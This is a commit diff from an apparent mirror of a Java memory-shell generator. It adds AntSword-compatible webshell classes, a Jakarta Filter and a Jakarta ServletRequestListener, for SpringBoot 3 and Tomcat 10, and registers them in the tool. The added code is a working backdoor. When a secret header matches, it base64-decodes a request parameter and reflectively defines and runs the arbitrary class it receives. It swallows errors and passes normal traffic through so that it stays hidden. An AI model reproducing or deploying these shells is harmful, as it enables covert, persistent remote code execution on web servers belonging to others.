mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x)
This commit is contained in:
@@ -44,6 +44,11 @@ public class AntSwordGenerator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordJakartaFilter implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = doBase64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordJakartaListener implements ServletRequestListener {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = base64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
response.flushBuffer();
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
package jmg.antsword.util;
|
||||
|
||||
import jmg.antsword.memshell.AntSwordFilter;
|
||||
import jmg.antsword.memshell.AntSwordJakartaFilter;
|
||||
import jmg.antsword.memshell.AntSwordJakartaListener;
|
||||
import jmg.antsword.memshell.AntSwordListener;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
@@ -31,9 +33,13 @@ public class ShellUtil {
|
||||
static {
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
|
||||
Map<String, String> antSwordMap = new HashMap();
|
||||
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER,AntSwordJakartaFilter.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
|
||||
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user